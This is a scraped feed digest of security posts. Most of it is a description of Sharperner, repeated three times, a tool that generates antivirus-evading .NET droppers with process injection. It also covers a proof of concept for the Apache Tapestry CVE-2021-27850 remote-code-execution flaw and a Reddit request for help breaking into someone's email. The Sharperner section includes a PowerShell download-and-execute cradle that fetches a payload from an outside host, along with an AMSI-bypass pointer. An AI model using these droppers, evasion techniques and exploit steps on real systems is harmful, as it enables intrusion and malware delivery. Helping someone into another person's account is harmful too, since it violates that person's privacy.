Sharperner - Simple Executable Generator With Encrypted Shellcode
http://www.kitploit.com/2021/07/sharperner-simple-executable-generator.html

Sharperner is a tool written in CSharp that generate .NET dropper (https://www.kitploit.com/search/label/Dropper) with AES (https://www.kitploit.com/search/label/AES) and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.
Features

PE binary
Process Hollowing PPID Spoofing Random generated AES key and iv Final Shellcode, Key and IV are translated to morse code :)
.NET binary
AES + XOR encrypted shellcode APC Process Injection (https://www.kitploit.com/search/label/Injection) (explorer.exe) Random function names Random generated AES key and iv Final Shellcode, Key and IV are translated to morse code :)
Usage
/file B64,hex,raw shellcode
/type cs,cpp
/out Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

Suggestion
To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI (https://www.kitploit.com/search/label/AMSI) is the enemy now, amsi.fail (https://amsi.fail/) ftw! $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]::Main()

Download Sharperner (https://github.com/aniqfakhrul/Sharperner)

Sharperner - Simple Executable Generator With Encrypted Shellcode

Sharperner is a tool written in CSharp that generate .NET dropper with AES and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.Features PE binary Process Hollowing PPID Spoofing Random generated AES key and iv Final Shellcode, Key and IV are translated to morse code :) .NET binary AES + XOR encrypted shellcode APC Process Injection (explorer.exe) Random function names Random generated AES key and iv Final Shellcode, Key and IV are translated to morse code :) Usage /file B64,hex,raw shellcode/type cs,cpp/out Output file Location (Optional)Example:Sharperner.exe /file:file.txt /type:cppSharperner.exe /file:file.txt /out:payload.exe Suggestion To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI is the enemy now, amsi.fail ftw! $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')$assem = System.Reflection.Assembly::Load($data)TotallyNotMal.Program::Main() Download Sharperner
Read more...

KitPloit - PenTest Tools!
Sharperner - Simple Executable Generator With Encrypted Shellcode

https://1.bp.blogspot.com/-y2RPsgnsqeI/YN5nW35YUaI/AAAAAAAAfkQ/aQ1UEc6pFB8TURAOCPLlk9pkORoyfweXQCNcBGAsYHQ/w640-h613/Sharperner_1_scan.png
Sharperner is a tool written in CSharp that generate .NET dropper with AES and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.
Features

PE binary

* Process Hollowing
* PPID Spoofing
* Random generated AES key and iv
* Final Shellcode, Key and IV are translated to morse code :)

.NET binary

* AES + XOR encrypted shellcode
* APC Process Injection (explorer.exe)
* Random function names
* Random generated AES key and iv
* Final Shellcode, Key and IV are translated to morse code :)

Usage

/file B64,hex,raw shellcode
/type cs,cpp
/out Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe


Suggestion

To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI is the enemy now, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]::Main()
Download Sharperner

Hacking on Medium
Proving Grounds: Geisha

https://cdn-images-1.medium.com/max/834/1*Bv0m1etYow5ZfFL84iRT2w.png
Today we will be tackling Offensive Security’s Proving Grounds: Geisha box, this box is a simple boot2root that uses SSH Bruteforcing and…

Continue reading on Medium »

Broken Link Hijacking.
https://rammk01.medium.com/broken-link-hijacking-3e190962644f?source=rss------bug_bounty-5

How I accidently Found a Bug called Broken Link Hijacking.Continue reading on Medium » (https://rammk01.medium.com/broken-link-hijacking-3e190962644f?source=rss------bug_bounty-5)

hacking: security in practice
WhiteHat Hacking of... sorts?

Hi all, not a hacker here.

I was recently approached by my very concerned boss, and since he thinks that I'm some computer wizard (because I help with the printers every now and then, but far from it), he asked me if I knew how to hack and gain access to an email account.

He told me he has an aunt that has a young son, 17-18, who ran away from home about a year or so go. She's desperate because they haven't heard from him, or the police in a long while, and she just wants to find her kid, or... get some closure, I guess.

I cannot do that, I don't have the tech knowledge. If you guys could point me in the right direction... They want to gain access to his email to find clues to his whereabouts, I think.

Any idea where I could find someone (or some tool) to do that?

submitted by /u/RhaegarLannister
[link] [comments]

Leveraging Burp Suite extension for finding HTTP request smuggling.

HTTP Request Smuggling is often left behind in bug bounty findings.Continue reading on InfoSec Write-ups »
Read more...

Exploit Collector
CVE-2021-27850_POC - A Proof Of Concept For CVE-2021-27850 Affecting Apache Tapestry And Leading To Unauthencticated Remote Code Execution

CVE-2021-27850 is a critical unauthenticated remote code execution vulnerability that was found in all recent versions of Apache Tapestry, by downloading the AppModule.class file we can leak the HMAC Secret key used to sign all the serialized objects in apache Tapestry.

We encountered this CVE in a real life assessment and as far as I know there are no public exploits available on how Tapestry signs the serialized objects so we decided to publish the following POC that we have used after digging in apache Tapestry source code for a long time x) .

Kudos to my senpai Fares

Usage

1- Clone this repo

2- Run the following command

javac -classpath commons-codec-1.15/commons-codec-1.15.jar:. Exploit.java

3- Finally run the following:

java -cp commons-codec-1.15/commons-codec-1.15.jar:. Exploit [Tapestry Key] [Ysoserial Payload] [Command To Execute]

Where [Tapestry Key] is the Hmac key leaked from the AppModule.class , [Ysoserial Payload] is the payload you want to use from ysoserial and [Command To Execute] the command you want to execute.

http://3.bp.blogspot.com/-oT248hEmxFM/YORrwT4fnII/AAAAAAAAhI4/9vcZt2QOJRIVD3QS0OlL6azyCHQtVGauACK4BGAYYCw/w640-h52/CVE-2021-27850_POC_1-724289.png

Note: Unlike the usual Java deserialization exploits where the commands you run are limited ( no pipes or special chars .. ) you can use here any complex command you want since we are appending the following before executing the command sh -c $@|sh . echo.

References:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27850

https://github.com/apache/tapestry-5
Download CVE-2021-27850_POC

Leveraging Burp Suite extension for finding HTTP request smuggling.
https://infosecwriteups.com/leveraging-burp-suite-extension-for-finding-http-request-smuggling-2c0b5321f06d?source=rss------bug_bounty-5

HTTP Request Smuggling is often left behind in bug bounty findings.Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/leveraging-burp-suite-extension-for-finding-http-request-smuggling-2c0b5321f06d?source=rss------bug_bounty-5)

Hacking on Medium
Bastion-HTB-Writeup

https://cdn-images-1.medium.com/max/600/1*VbDQIFrXjU7FfNpy6WL83A.png
Today I am solving the machine called Bastion on HTB platform let’s start with scanning

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖